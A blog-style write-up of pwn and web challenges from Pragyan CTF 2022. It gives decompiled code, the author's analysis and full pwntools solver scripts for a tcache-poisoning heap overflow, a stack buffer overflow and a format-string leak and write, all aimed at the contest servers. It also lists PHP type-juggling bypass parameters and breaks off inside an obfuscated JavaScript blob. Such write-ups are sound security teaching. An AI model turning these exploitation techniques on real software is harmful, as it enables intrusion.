Contents

Pragyan CTF 2022

https://i.imgur.com/hcj0igf.png I spend my Sunday doing Pragyan CTF 2022. I’m very grateful that I got 17th place even though I play it solo. Below is my writeup for challenges that I solved and don’t forget to follow me on Twitter 🙂

Pwn

Database

Intro

We were given a binary, let’s decompile it. Below is the main function.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
void main(void)

{
  ulong uVar1;
  long in_FS_OFFSET;
  char local_18 [8];
  undefined8 local_10;

  local_10 = *(undefined8 *)(in_FS_OFFSET + 0x28);
  fflush(stdin);
  welcome();
  fprintf(stderr,"This might help: %p\n",main);
  do {
    menu();
    read(0,local_18,8);
    uVar1 = atoll(local_18);
    switch(uVar1 & 0xffffffff) {
    default:
      fwrite("Invalid choice\n",1,0xf,stderr);
      break;
    case 1:
      print_items();
      break;
    case 2:
      insert_item();
      break;
    case 3:
      update_item();
      break;
    case 4:
      delete_item();
      break;
    case 5:
      leave();
                    /* WARNING: Subroutine does not return */
      exit(0);
    }
    fflush(stdin);
  } while( true );
}

insert_item

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
void insert_item(void)

{
  size_t __size;
  void *pvVar1;
  ssize_t sVar2;
  long in_FS_OFFSET;
  int local_3c;
  char local_28 [24];
  long local_10;

  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  if (len < 0x10) {
    fwrite("Please enter the length of string => ",1,0x25,stderr);
    read(0,local_28,0xc);
    __size = atoll(local_28);
    if (__size == 0) {
      fwrite("Invalid length!\n",1,0x10,stderr);
    }
    else {
      for (local_3c = 0; local_3c < 0x10; local_3c = local_3c + 1) {
        if (*(long *)(data_base + (long)local_3c * 0x10 + 8) == 0) {
          *(size_t *)(data_base + (long)local_3c * 0x10) = __size;
          pvVar1 = malloc(__size);
          *(void **)(data_base + (long)local_3c * 0x10 + 8) = pvVar1;
          fwrite("Please enter the string you want to save => ",1,0x2c,stderr);
          sVar2 = read(0,*(void **)(data_base + (long)local_3c * 0x10 + 8),__size);
          *(undefined *)(sVar2 + *(long *)(data_base + (long)local_3c * 0x10 + 8)) = 0;
          len = len + 1;
          break;
        }
      }
    }
  }
  else {
    fwrite("Database is full!\n",1,0x12,stderr);
  }
  if (local_10 == *(long *)(in_FS_OFFSET + 0x28)) {
    return;
  }
                    /* WARNING: Subroutine does not return */
  __stack_chk_fail();
}

delete_item

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
void delete_item(void)

{
  int iVar1;
  long in_FS_OFFSET;
  char local_18 [8];
  long local_10;

  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  if (len == 0) {
    fwrite("Database is empty\n",1,0x12,stderr);
  }
  else {
    fwrite("Please enter the index of element => ",1,0x25,stderr);
    read(0,local_18,8);
    iVar1 = atoi(local_18);
    if (*(long *)(data_base + (long)iVar1 * 0x10 + 8) == 0) {
      fwrite("Invalid index\n",1,0xe,stderr);
    }
    else {
      free(*(void **)(data_base + (long)iVar1 * 0x10 + 8));
      *(undefined8 *)(data_base + (long)iVar1 * 0x10 + 8) = 0;
      *(undefined8 *)(data_base + (long)iVar1 * 0x10) = 0;
      fwrite("Element deleted successfully!\n",1,0x1e,stderr);
      len = len + -1;
    }
  }
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

update_item

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
void update_item(void)

{
  int iVar1;
  uint uVar2;
  ssize_t sVar3;
  long in_FS_OFFSET;
  char local_30 [8];
  char local_28 [24];
  long local_10;

  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  if (len == 0) {
    fwrite("Database is empty!\n",1,0x13,stderr);
  }
  else {
    fwrite("Please enter the index of element => ",1,0x25,stderr);
    read(0,local_30,8);
    iVar1 = atoi(local_30);
    if (*(long *)(data_base + (long)iVar1 * 0x10 + 8) == 0) {
      fwrite("Invalid index\n",1,0xe,stderr);
    }
    else {
      fwrite("Please enter the length of string => ",1,0x25,stderr);
      read(0,local_28,8);
      uVar2 = atoi(local_28);
      *(ulong *)(data_base + (long)iVar1 * 0x10) = (ulong)uVar2;
      fwrite("Please enter the string => ",1,0x1b,stderr);
      sVar3 = read(0,*(void **)(data_base + (long)iVar1 * 0x10 + 8),(ulong)uVar2);
      *(undefined *)((long)(int)sVar3 + *(long *)(data_base + (long)iVar1 * 0x10 + 8)) = 0;
    }
  }
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

leave

1
2
3
4
5
6
void leave(void)

{
  puts("Thanks a lot!\nGoodbye!");
  return;
}

There is also secret function which will print the flag

1
2
3
4
5
6
void secret(void)

{
  system("/bin/cat ./flag");
  return;
}

Let’s checksec the binary:

1
2
3
4
5
Arch:     amd64-64-little
RELRO:    No RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      PIE enabled

Okay, PIE is enabled

Analysis

main

1
2
// At main function
fprintf(stderr,"This might help: %p\n",main);

Reading through the code, I notice that the binary leak us the main address, which mean the PIE mitigation isn’t matter at all. We can calculate the address of available functions, plt, got, etc.

insert_item

Observation on the insert_item method, we can control the malloc chunk size.

delete_item

Observation on the delete_item method, the pointer was nulled after free, so we couldn’t do UAF or Double Free.

update_item

1
2
3
4
5
6
7
fwrite("Please enter the length of string => ",1,0x25,stderr);
read(0,local_28,8);
uVar2 = atoi(local_28);
*(ulong *)(data_base + (long)iVar1 * 0x10) = (ulong)uVar2;
fwrite("Please enter the string => ",1,0x1b,stderr);
sVar3 = read(0,*(void **)(data_base + (long)iVar1 * 0x10 + 8),(ulong)uVar2);
*(undefined *)((long)(int)sVar3 + *(long *)(data_base + (long)iVar1 * 0x10 + 8)) = 0;

Observation on the update_item method, we can see that there is heap-overflow. Notice that there isn’t any check on the item’s size during update. If we put larger size during update than the allocated chunk size, we can overwrite the other chunks value.

For example, let say that we insert_item three times with size 0x10. The chunk will be like below.

1
2
3
4
5
6
7
...
0x555555602290	0x0000000000000000	0x0000000000000021	........!.......
0x5555556022a0	0x6161616161616161	0x0a61616161616161	aaaaaaaaaaaaaaa.
0x5555556022b0	0x0000000000000000	0x0000000000000021	........!.......
0x5555556022c0	0x6262626262626262	0x0a62626262626262	bbbbbbbbbbbbbbb.
0x5555556022d0	0x0000000000000000	0x0000000000000021	........!.......
0x5555556022e0	0x6363636363636363	0x0a63636363636363	ccccccccccccccc.

What if we set bigger size during update_item? Then we can overwrite the other chunks which located next to each other.

What happen if we free the chunks? It will be put to tcache bins, and then it will maintained a linked-list of the cache. Let say that we free the second and third chunk, the heap will be like below.

1
2
3
4
5
6
7
8
...
0x555555602290	0x0000000000000000	0x0000000000000021	........!.......
0x5555556022a0	0x6161616161616161	0x0a61616161616161	aaaaaaaaaaaaaaa.
0x5555556022b0	0x0000000000000000	0x0000000000000021	........!.......
0x5555556022c0	0x00005555556022e0	0x0000555555602010	."`UUU... `UUU..	 <-- tcachebins[0x20][0/2]
0x5555556022d0	0x0000000000000000	0x0000000000000021	........!.......
0x5555556022e0	0x0000000000000000	0x0000555555602010	......... `UUU..	 <-- tcachebins[0x20][1/2]
...

To give a better visualization, below is the current state of the tcache linked_list

1
2
Total items: 2
0x5555556022c0(head)->0x00005555556022e0->NULL

As you can see on address 0x5555556022c0, the tcache stored a pointer to the next cache, so that when we do malloc(0x10), tcache will remove its curent head and move the head to its next pointer

1
2
3
4
5
6
7
8
Before
Total items: 2
0x5555556022c0(head)->0x00005555556022e0->NULL

After malloc(0x10)
0x5555556022c0 address will be used as the new malloc chunk address
Total items: 1
0x00005555556022e0(head)->NULL

What happen if we use the heap-overflow to overwrite the tcache pointer? For example, imagine that the current heap chunk is like below

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
...
0x555555602290	0x0000000000000000	0x0000000000000021	........!.......
0x5555556022a0	0x6161616161616161	0x0a61616161616161	aaaaaaaaaaaaaaa.
0x5555556022b0	0x0000000000000000	0x0000000000000021	........!.......
0x5555556022c0	0x00005555556022e0	0x0000555555602010	."`UUU... `UUU..	 <-- tcachebins[0x20][0/2]
0x5555556022d0	0x0000000000000000	0x0000000000000021	........!.......
0x5555556022e0	0x0000000000000000	0x0000555555602010	......... `UUU..	 <-- tcachebins[0x20][1/2]
...

Tcache bins:
Total items: 2
0x5555556022c0(head)->0x00005555556022e0->NULL

With update_item, let say we want to read 0x28 string, and we input 0x6161616161616161+0x6161616161616161+0x0000000000000000+0x0000000000000021+0xdeadbeefdeadbabe

The chunk after that update will be like below:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
...
0x555555602290	0x0000000000000000	0x0000000000000021	........!.......
0x5555556022a0	0x6161616161616161	0x0a61616161616161	aaaaaaaaaaaaaaa.
0x5555556022b0	0x0000000000000000	0x0000000000000021	........!.......
0x5555556022c0	0xdeadbeefdeadbabe	0x0000555555602010	."`UUU... `UUU..	 <-- tcachebins[0x20][0/2]
0x5555556022d0	0x0000000000000000	0x0000000000000021	........!.......
0x5555556022e0	0x0000000000000000	0x0000555555602010	......... `UUU..
...

Tcache bins:
Total items: 2
0x5555556022c0(head)->0xdeadbeefdeadbabe->...

As you can see, we can overwrite the tcache next pointer. That means we can control the allocated chunk address during calling the malloc. Take the above example, if we call malloc(0x10) twice, the second malloc chunk address will be stored at 0xdeadbeefdeadbabe This is the bug that we can use to solve the challenge.

Solution

My idea is to overwrite the puts GOT value to secret address with the heap-overflow bug, so that when we call leave, the puts will print the flag. To achieve that, my plan is:

  • Create three items with size 0x10 via insert_item
  • Free the second and third element via delete_item
  • Heap overflow via update_item on the first item, with goals to replace the tcache next pointer to puts GOT address
  • Create one item with size 0x10 via insert_item.
  • Create one more item with size 0x10 and the stored string is the secret address via insert_item. This item will be stored at puts GOT address, and because the string is secret address, now, whenever the binary call puts, it will be resolved to secret instead.
  • Call leave and it will print the flag.

Below is the solver:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
from pwn import *
from pwn import p64, u64

context.arch = 'amd64'
context.encoding = 'latin'
context.log_level = 'INFO'
warnings.simplefilter("ignore")

'''
+-----------------------------+
| 1. Show all data            |
| 2. Insert a element         |
| 3. Update a element         |
| 4. Remove a element         |
| 5. Exit                     |
+-----------------------------+
'''
def insert_item(r, length, data):
    r.sendlineafter(b'choice => ', str(2).encode())
    r.sendlineafter(b'of string => ', str(length).encode())
    r.sendafter(b'to save => ', data)

def update_item(r, index, length, data):
    r.sendlineafter(b'choice => ', str(3).encode())
    r.sendlineafter(b'of element => ', str(index).encode())
    r.sendlineafter(b'of string => ', str(length).encode())
    r.sendafter(b'string => ', data)

def delete_item(r, index):
    r.sendlineafter(b'choice => ', str(4).encode())
    r.sendlineafter(b'index of element => ', str(index).encode())

def leave(r):
    r.sendlineafter(b'choice => ', str(5).encode())
    log.info(r.readrepeat(1))

elf = ELF('database')

main_addr = elf.symbols['main']

r = remote('binary.challs.pragyanctf.tech', 6004)

r.recvuntil(b'This might help: ')
leaked_main = int(r.recvline().strip(), 16)
elf.address = leaked_main - main_addr
secret_addr = elf.symbols['secret']
puts_got = elf.got['puts']

log.info(f'Leaked main: {hex(leaked_main)}')
log.info(f'Base addr  : {hex(elf.address)}')
log.info(f'Secret addr: {hex(secret_addr)}')
log.info(f'Puts got   : {hex(puts_got)}')

insert_item(r, 16, b'a'*16)
insert_item(r, 16, b'a'*16)
insert_item(r, 16, b'a'*16)
delete_item(r, 2)
delete_item(r, 1)
update_item(r, 0, 16+8+8+8, b'a'*16+p64(0)+p64(0x21)+p64(puts_got))
insert_item(r, 16, b'a'*16)
insert_item(r, 16, p64(secret_addr))
leave(r)
1
2
3
4
5
6
7
8
[x] Opening connection to binary.challs.pragyanctf.tech on port 6004
[x] Opening connection to binary.challs.pragyanctf.tech on port 6004: Trying 159.203.157.131
[+] Opening connection to binary.challs.pragyanctf.tech on port 6004: Done
[*] Leaked main: 0x562483ff3275
[*] Base addr  : 0x562483ff2000
[*] Secret addr: 0x562483ff3262
[*] Puts got   : 0x5624841f3cd0
[*] p_ctf{Ch4Ng3_1T_t0_M4x1Mum}

Flag: p_ctf{Ch4Ng3_1T_t0_M4x1Mum}

Poly-Flow

Intro

We were given a binary, let’s decompile it. Below is the main function

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
undefined4 main(void)

{
  int iVar1;
  undefined local_21 [16];
  undefined local_11;
  undefined *local_10;

  local_10 = &stack0x00000004;
  printf("Enter the passphrase: ");
  fflush((FILE *)stdout);
  __isoc99_scanf(&DAT_080d403c,local_21);
  local_11 = 0;
  iVar1 = check(local_21);
  if (iVar1 == 0) {
    puts("Incorrect.");
  }
  else {
    input();
  }
  return 0;
}

Check function

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
undefined4 check(char *param_1)

{
  size_t sVar1;
  undefined4 uVar2;
  int local_14;
  int local_10;

  sVar1 = strlen(param_1);
  if (sVar1 == 0x10) {
    local_10 = 0;
    for (local_14 = 0; local_14 < 4; local_14 = local_14 + 1) {
      local_10 = local_10 + *(int *)(param_1 + local_14 * 4);
    }
    if (local_10 == L'\xdeadbeef') {
      uVar2 = 1;
    }
    else {
      uVar2 = 0;
    }
  }
  else {
    uVar2 = 0;
  }
  return uVar2;
}

input function

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
void input(void)

{
  char local_1c [20];

  if (i.0 == 5) {
    puts("Here is your flag.");
    system("cat flag");
    puts("");
  }
  i.0 = i.0 + 1;
  fgets(local_1c,0x24,(FILE *)stdin);
  return;
}

Analysis

Okay, so the flow is:

  • Need to pass check function, where we need to pass a string, where if it get splitted into 4 chunks where a chunk consist of 4 bytes, the sum of the 4 chunks is 0xdeadbeef.
  • After that we will go to input method. Notice that there is a buffer overflow, where we can replace the return value of input

Solution

So, below is the solver script, where we simply:

  • Pass a string that the 4 chunks sum is 0xdeadbeef
  • And then with BOF, we can ret to the input 5 times, so that the binary will cat the flag.
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
from pwn import *
from pwn import p64, u64, p32

context.arch = 'amd64'
context.encoding = 'latin'
context.log_level = 'INFO'
warnings.simplefilter("ignore")

elf = ELF('./Poly-flow')
input_addr = elf.symbols['input']

r = remote('binary.challs.pragyanctf.tech', 6002)
r.sendafter(b'passphrase: ', p32(0x37ab6fbb)*3+p32(0x37ab6fbb+3)) # deadbeef
r.send(b'a'*0x1c + p32(input_addr) + b'a'*0x4)
r.send(b'a'*0x1b + p32(input_addr) + b'a'*0x4) # one-byte adjustment based on observation in GDB
r.send(b'a'*0x1b + p32(input_addr) + b'a'*0x4) # one-byte adjustment based on observation in GDB
r.send(b'a'*0x1b + p32(input_addr) + b'a'*0x4) # one-byte adjustment based on observation in GDB
r.send(b'a'*0x1b + p32(input_addr) + b'a'*0x4) # one-byte adjustment based on observation in GDB
r.interactive()

Flag: p_ctf{mUlT1Pl3_BuFf3R_Ov3rF|0w}

Portal

Intro

We were given a binary. Below is the main decompiled:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
undefined8 main(void)

{
  long in_FS_OFFSET;
  int local_14;
  long local_10;

  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  local_14 = 0;
  initialize();
  puts("Welcome!");
  do {
    putchar(10);
    puts("What would you like to do?");
    puts("1) Check Balance");
    puts("2) Upgrade Pack");
    __isoc99_scanf(&DAT_0010218f,&local_14);
    getchar();
    fflush(stdin);
    if (local_14 == 1) {
      see_balance();
    }
    else if (local_14 == 2) {
      init_pack();
    }
    else {
      if (local_14 != 3) {
        puts("Invalid ");
        if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
          __stack_chk_fail();
        }
        return 0;
      }
      check = 1;
      see_profile();
      check = 0;
    }
    puts("Bye!");
  } while( true );
}

see_balance:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
void see_balance(void)

{
  long in_FS_OFFSET;
  char local_78 [104];
  long local_10;

  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  printf("You currently have Rs.%d left!\n",(ulong)b);
  puts("Wanna upgrade pack?");
  fgets(local_78,100,stdin);
  printf(local_78);
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

init_pack:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
void init_pack(void)

{
  if (b == 0xf9) {
    upgrade_pack();
  }
  else {
    puts("You do not have enough balance :(");
  }
  return;
}

upgrade_pack

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
undefined8 upgrade_pack(void)

{
  FILE *__stream;
  char *__s;
  long in_FS_OFFSET;
  char local_98 [136];
  long local_10;

  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  __stream = fopen("flag_maybe","r");
  if (__stream == (FILE *)0x0) {
    puts("Flag not found.");
                    /* WARNING: Subroutine does not return */
    exit(1);
  }
  fgets(local_98,0x80,__stream);
  fclose(__stream);
  puts("Upgrading PAcK");
  __s = (char *)malloc(0x12d);
  puts("Enter coupon code:");
  fgets(__s,300,stdin);
  puts("Upgrading pack with the coupon:");
  printf(__s);
  check = 1;
  see_profile();
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 0;
}

Analysis

Reading through the decompiled code, some notes that we could take:

  • Reading through the see_balance method, we notice bug where format string attack is applicable.
  • In order to call upgrade_pack method, in the init_pack method, we need to make the global variable of b value to 0xf9.
  • Reading through the upgrade_pack method, we notice bug where format string attack is applicable.
  • Flag was stored in the upgrade_pack method stack.

Let’s do checksec to check further mitigation on the binary.

1
2
3
4
5
Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      PIE enabled

Okay so the PIE is enabled, which mean we might need to leak the binary base address first.

Solution

Based on those notes, my idea to solve this is:

  • With the format string bug on see_balance, I will try to leak the main address, so that I can retrieve the binary base address
  • After that, with the same bug, I will overwrite the value b with 0xf9, so that I can go to the upgrade_pack method.
  • With the format string bug on upgrade_pack method, because the flag was stored in the stack, I can simply leak the flag.

Below is the full script of that

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from pwn import *
from pwn import p64, u64, p32, u32

context.arch = 'amd64'
context.encoding = 'latin'
context.log_level = 'INFO'
warnings.simplefilter("ignore")

elf = ELF('./load')
r = remote('binary.challs.pragyanctf.tech', 6003)

# Leaked main
r.sendlineafter(b'Pack\n', str(1).encode())
fmt_str = b'a'*8 + b'.%19$p.%20$p.%21$p' # the 21th is the main+164 address value
r.sendlineafter(b'pack?\n', fmt_str)
out = r.recvline().strip().split(b'.')
leaked_main = int(out[-1], 16)
elf.address = leaked_main - elf.symbols['main'] - 164
b_addr = elf.symbols["b"]
log.info(f'Leaked main: {hex(leaked_main)}')
log.info(f'Elf address: {hex(elf.address)}')
log.info(f'b address  : {hex(b_addr)}')

# val = 0xf9
fmt_str = b'%249c%8$naaaaaaa'+p64(b_addr) # 8th index is our p64(b_addr) value, which mean we will write 249 (0xf9) to b variable.
log.info(fmt_str)

r.sendlineafter(b'Pack\n', str(1).encode())
r.sendlineafter(b'pack?\n', fmt_str)

r.sendlineafter(b'Pack\n', str(2).encode())
r.sendlineafter(b'coupon code:\n', b'%8$p %9$p %10$p %11$p') # Flag was stored in 8th-11th index
r.recvline()
out = r.recvline().strip().split(b' ')[-4:]
flag = b''
for f in out:
    flag += p64(int(f, 16))
log.info(f'Flag: {flag}')

Flag: p_ctf{W3ll_1t_W4s_3aSy_0n1y}

Web

PHP Train

We were given a website with the below source code

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
<?php
    show_source("index.php");
    include 'constants.php';
    error_reporting(0);
    if(isset($_GET["param1"])) {
        if(!strcmp($_GET["param1"], CONSTANT1)) {
            echo FLAG1;
        }
    }

    if(isset($_GET["param2"]) && isset($_GET["param3"])) {
        $str2 = $_GET["param2"];
        $str3 = $_GET["param3"];
        if(($str2 !== $str3) && (sha1($str2) === sha1($str3))) {
            echo FLAG2;
        }
    }

    if(isset($_GET["param4"])) {
        $str4 = $_GET["param4"];
        $str4=trim($str4);
        if($str4 == '1.2e3' && $str4 !== '1.2e3') {
            echo FLAG3;
        }
    }

    if(isset($_GET["param5"])) {
        $str5 = $_GET["param5"];
        if($str5 == 89 && $str5 !== '89' && $str5 !== 89 && strlen(trim($str5)) == 2) {
            echo FLAG4;
        }
    }

    if(isset($_GET["param6"])) {
        $str6 = $_GET["param6"];
        if(hash('md4', $str6) == 0) {
            echo FLAG5;
        }
    }

    if(isset($_GET["param7"])) {
        $str7 = $_GET["param7"];
        $var1 = 'helloworld';
        $var2 = preg_replace("/$var1/", '', $str7);
        if($var1 === $var2) {
            echo FLAG6;
        }
    }

    if(isset($_GET["param8"])) {
        $str8 = $_GET["param8"];
        $comp = range(1, 25);
        if(in_array($str8, $comp)) {
            if(preg_match("/\.env/", $str8)) {
                echo FLAG7;
            }
        }
    }

?>

So we need to bypass all this check to retrieve the full flag.

Flag 1

To bypass strcmp, we can simply pass param1[]=a. We got p_ctf{ech0_.

Flag 2

To bypass sha1 collision, we can simply pass array to both params (param2[]=a&param3[]=b). We got 1f_7h3_7r41n_.

Flag 3

We just need to pass param4=1200 becaue 1.2e3 is equals to 1200. We got d035_n07_.

Flag 4

We just need to pass param5=89%20 because the value checking is using loose comparison, so the whitespace will be discarded. We got 5t0p_1n_y0ur_.

Flag 5

We just need to pass magic hash as param6=gH0nAdHk, where the hash result prefix is 0e because of the loose comparison. We got 5t4t10n_7h3n_.

Flag 6

We just need to pass param7=hellohelloworldworld, so that after the preg_replace, the param7 value will be helloworld. We got 1t5_n07_.

Flag 7

We just need to pass param8=1.env because in_array use loose comparison, so as long as our first string start with 1, in_array will return true. We got y0ur_7r41n}.

Flag: p_ctf{ech0_1f_7h3_7r41n_d035_n07_5t0p_1n_y0ur_5t4t10n_7h3n_1t5_n07_y0ur_7r41n}

Inception

We were given a website. Checking the source code, we got obfuscated javascript. Now, we just need to examine properly the obfuscated. The first part is this code

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
var _0xa965=["\x65\x6E\x74\x72\x69\x65\x73","","\x62","\x61","\x74\x6F","\x6E\x61\x6D\x65","\x61\x6C\x6C","\x66\x69\x6C\x6C","\x4D\x49\x4E\x5F\x56\x41\x4C\x55\x45"];(function(){var _0x31e3x1=()=>{
var _0x31e3x2=[][(![]+ [])[+[]] + (![]+ [])[!+[]+  !+[]] + (![]+ [])[+!+[]] + (!![]+ [])[+[]]][([][(![]+ [])[+[]] + (![]+ [])[!+[]+  !+[]] + (![]+ [])[+!+[]] + (!![]+ [])[+[]]] + [])[!+[]+  !+[] +  !+[]] + (!![]+ [][(![]+ [])[+[]] + (![]+ [])[!+[]+  !+[]] + (![]+ [])[+!+[]] + (!![]+ [])[+[]]])[+!+[]+ [+[]]] + ([][[]]+ [])[+!+[]] + (![]+ [])[!+[]+  !+[] +  !+[]] + (!![]+ [])[+[]] + (!![]+ [])[+!+[]] + ([][[]]+ [])[+[]] + ([][(![]+ [])[+[]] + (![]+ [])[!+[]+  !+[]] + (![]+ [])[+!+[]] + (!![]+ [])[+[]]] + [])[!+[]+  !+[] +  !+[]] + (!![]+ [])[+[]] + (!![]+ [][(![]+ [])[+[]] + (![]+ [])[!+[]+  !+[]] + (![]+ [])[+!+[]] + (!![]+ [])[+[]]])[+!+[]+ [+[]]] + (!![]+ [])[+!+[]]]((!![]+ [])[+!+[]] + (!![]+ [])[!+[]+  !+[] +  !+[]] + (!![]+ [])[+[]] + ([][[]]+ [])[+[]] + (!![]+ [])[+!+[]] + ([][[]]+ [])[+!+[]] + (+[![]]+ [][(![]+ [])[+[]] + (![]+ [])[!+[]+  !+[]] + (![]+ [])[+!+[]] + (!![]+ [])[+[]]])[+!+[]+ [+!+[]]] + (!![]+ [])[!+[]+  !+[] +  !+[]] + (+(!+[]+  !+[] +  !+[] + [+!+[]]))[(!![]+ [])[+[]] + (!![]+ [][(![]+ [])[+[]] + (![]+ [])[!+[]+  !+[]] + (![]+ [])[+!+[]] + (!![]+ [])[+[]]])[+!+[]+ [+[]]] + ([]+ [])[([][(![]+ [])[+[]] + (![]+ [])[!+[]+  !+[]] + (![]+ [])[+!+[]] + (!![]+ [])[+[]]] + [])[!+[]+  !+[] +  !+[]] + (!![]+ [][(![]+ [])[+[]] + (![]+ [])[!+[]+  !+[]] + (![]+ [])[+!+[]] + (!![]+ [])[+[]]])[+!+[]+ [+[]]] + ([][[]]+ [])[+!+[]] + (![]+ [])[!+[]+  !+[] +  !+[]] + (!![]+ [])[+[]] + (!![]+ [])[+!+[]] + ([][[]]+ [])[+[]] + ([][(![]+ [])[+[]] + (![]+ [])[!+[]+  !+[]] + (![]+ [])[+!+[]] + (!![]+ [])[+[]]] + [])[!+[]+  !+[] +  !+[]] + (!![]+ [])[+[]] + (!![]+ [][(![]+ [])[+[]] + (![]+ [])[!+[]+  !+[]] + (![]+ [])[+!+[]] + (!![]+ [])[+[]]])[+!+[]+ [+[]]] + (!![]+ [])[+!+[]]][([][[]]+ [])[+!+[]] + (![]+ [])[+!+[]] + ((+[])[([][(![]+ [])[+[]] + (![]+ [])[!+[]+  !+[]] + (![]+ [])[+!+[]] + (!![]+ [])[+[]]] + [])[!+[]+  !+[] +  !+[]] + (!![]+ [][(![]+ [])[+[]] + (![]+ [])[!+[]+  !+[]] + (![]+ [])[+!+[]] + (!![]+ [])[+[]]])[+!+[]+ [+[]]] + ([][[]]+ [])[+!+[]] + (![]+ [])[!+[]+  !+[] +  !+[]] + (!![]+ [])[+[]] + (!![]+ [])[+!+[]] + ([][[]]+ [])[+[]] + ([][(![]+ [])[+[]] + (![]+ [])[!+[]+  !+[]] + (![]+ [])[+!+[]] + (!![]+ [])[+[]]] + [])[!+[]+  !+[] +  !+[]] + (!![]+ [])[+[]] + (!![]+ [][(![]+ [])[+[]] + (![]+ [])[!+[]+  !+[]] + (![]+ [])[+!+[]] + (!![]+ [])[+[]]])[+!+[]+ [+[]]] + (!![]+ [])[+!+[]]] + [])[+!+[]+ [+!+[]]] + (!![]+ [])[!+[]+  !+[] +  !+[]]]](!+[]+  !+[] +  !+[] + [!+[]+  !+[]]) + (![]+ [])[+!+[]] + (![]+ [])[!+[]+  !+[]])()([][(![]+ [])[+[]] + (![]+ [])[!+[]+  !+[]] + (![]+ [])[+!+[]] + (!![]+ [])[+[]]][([][(![]+ [])[+[]] + (![]+ [])[!+[]+  !+[]] + (![]+ [])[+!+[]] + (!![]+ [])[+[]]] + [])[!+[]+  !+[] +  !+[]] + (!![]+ [][(![]+ [])[+[]] + (![]+ [])[!+[]+  !+[]] + (![]+ [])[+!+[]] + (!![]+ [])[+[]]])[+!+[]+ [+[]]] + ([][[]]+ [])[+!+[]] + (![]+ [])[!+[]+  !+[] +  !+[]] + (!![]+ [])[+[]] + (!![]+ [])[+!+[]] + ([][[]]+ [])[+[]] + ([][(![]+ [])[+[]] + (![]+ [])[!+[]+  !+[]] + (![]+ [])[+!+[]] + (!![]+ [])[+[]]] + [])[!+[]+  !+[] +  !+[]] + (!![]+ [])[+[]] + (!![]+ [][(![]+ [])[+[]] + (![]+ [])[!+[]+  !+[]] + (![]+ [])[+!+[]] + (!![]+ [])[+[]]])[+!+[]+ [+[]]] + (!![]+ [])[+!+[]]]((!![]+ [])[+!+[]] + (!![]+ [])[!+[]+  !+[] +  !+[]] + (!![]+ [])[+[]] + ([][[]]+ [])[+[]] + (!![]+ [])[+!+[]] + ([][[]]+ [])[+!+[]] + ([]+ [])[(![]+ [])[+[]] + (!![]+ [][(![]+ [])[+[]] + (![]+ [])[!+[]+  !+[]] + (![]+ [])[+!+[]] + (!![]+ [])[+[]]])[+!+[]+ [+[]]] + ([][[]]+ [])[+!+[]] + (!![]+ [])[+[]] + ([][(![]+ [])[+[]] + (![]+ [])[!+[]+  !+[]] + (![]+ [])[+!+[]] + (!![]+ [])[+[]]] + [])[!+[]+  !+[] +  !+[]] + (!![]+ [][(![]+ [])[+[]] + (![]+ [])[!+[]+  !+[]] + (![]+ [])[+!+[]] + (!![]+ [])[+[]]])[+!+[]+ [+[]]] + (![]+ [])[!+[]+  !+[]] + (!![]+ [][(![]+ [])[+[]] + (![]+ [])[!+[]+  !+[]] + (![]+ [])[+!+[]] + (!![]+ 